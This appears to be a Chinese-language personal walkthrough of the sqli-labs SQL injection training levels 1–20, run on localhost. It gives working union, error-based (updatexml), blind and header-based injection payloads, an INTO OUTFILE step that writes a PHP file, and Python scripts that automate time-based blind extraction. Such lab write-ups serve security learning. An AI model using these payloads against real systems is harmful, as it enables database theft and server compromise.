第一关
刚安装好 发现写入引号没有报错 原来是忘记关闭magic_quote_gpc了
发现注释符--无法注释掉后面的代码,任然报错,用--+替代解决了,--之所以无法注释掉,是因为与后面的引号连在一起了,而+作空格的作用,把它隔开
常规注入table_name返回Subquery returns more than 1 row,则说明需要改成group_concat(table_name)
账号密码一起注入 group_concat(username,'~',password)
第二关
不需要闭合单引号,这是与第一关的不同,因为第一关参数是字符串型,而第二关是整数型,其他步骤一模一样
第三关
是('id')的形式,提交参数id=-1') union select 1,database(),3%23就行,其他一样
第四关
是("id")的形式,提交参数id=-1“) union select 1,database(),3%23就行,其他一样
第五关
数据不回显,用报错注入updatexml(1,concat(0x7e,(select database())),0)即可
第六关
把第五关的单引号改双引号,其他不变
第七关
按要求玩,肯定是union select 1,2,'<? phpinfo();?>' into outfile "目录名\\new.php",记住是用\\,不过要注意数据库有没有开启secure_file_priv,用命令union select @@global.secure_file_priv查看,注意返回NULL为禁用,
但是我打算换一种玩法
由于是(('id'))的形式,所以'))双重闭合,但是发现不回显,也不能报错注入,只能使用布尔型注入1')) and if((substr(database(),1,1)='s'),1,0)%23,这个肯定得跑字典的,写个python自动注入吧,我加了sleep延迟注入,poc如下
import requests
from requests.sessions import Request
dic = 'abcdefghijklmnopqrstuvwxyz'
flag = ''
for i in range(1,10):
for x in dic:
try:
requests.get("http://localhost/sql/Less-7/?id=1')) or if((substr(database() from "+str(i)+" for 1)='"+x+"'),sleep(4),0) %23",timeout=3)
except requests.exceptions.ReadTimeout as e:
flag += x
print(flag)
break
print(flag)
第八关
把上面的url从id=1'))改成id=1'后,一模一样
第九关
同第八关
第十关
把单引号改成双引号,同上
第十一关
基本原理:账号提交admin' and (select case when (substr(database(),1,1)='s') then sleep(3) else 0 end)# 【其实updatexml也行】
写个poc:
import requests
from requests.sessions import Request
dic = 'abcdefghijklmnopqrstuvwxyz'
flag = ''
for i in range(1,10):
for x in dic:
sql = "admin' and (select case when (substr(database(),%d,1)='%s') then sleep(3) else 0 end)#"%(i,x)
data = {'uname':sql,'passwd':''}
try:
requests.post("http://localhost/sql/Less-11/",data,timeout=3)
except requests.exceptions.ReadTimeout as e:
flag += x
print(flag)
break
print(flag)
第十二关
除了用双引号闭合外,其他和十一区别不大
poc:
import requests
from requests.sessions import Request
dic = 'abcdefghijklmnopqrstuvwxyz'
flag = ''
for i in range(1,10):
for x in dic:
sql = 'admin") and (select case when (ascii(substr(database(),%d,1))=%d) then sleep(3) else 0 end)#'%(i,ord(x))
data = {'uname':sql,'passwd':''}
try:
requests.post("http://localhost/sql/Less-12/",data,timeout=3)
except requests.exceptions.ReadTimeout as e:
flag += x
print(flag)
break
print(flag)
第十三关
同上,把双引号改单引即可
第十四关
同上,把')改为"即可
第十五关
同上,把"改为'即可
第十六关
加了单引号和双引号都没有结果,直到输入admin") and sleep(3)#
poc同上,把"后买加)即可
十七关
这道题卡住了,看到密码单引号报错了,猜出来了是密码没过滤,但是布尔注入和延时注入,但是好像对update的sql语句无效,百度别人的解法,用了updatexml
十八关
卡住了,太急了,没有好好做,登陆后看到user-agent,可以知道这是注入点,注入'#无效,直到注入两个单引号才成功,用updatexml做,新玩法:' or updatexml(1,concat(0x7e,(select concat_ws(username,password) from (select username,password from users)text limit 0,1)),0) or '
十九关
同上,不过注入点在referer
二十关
同上,注入点在cookie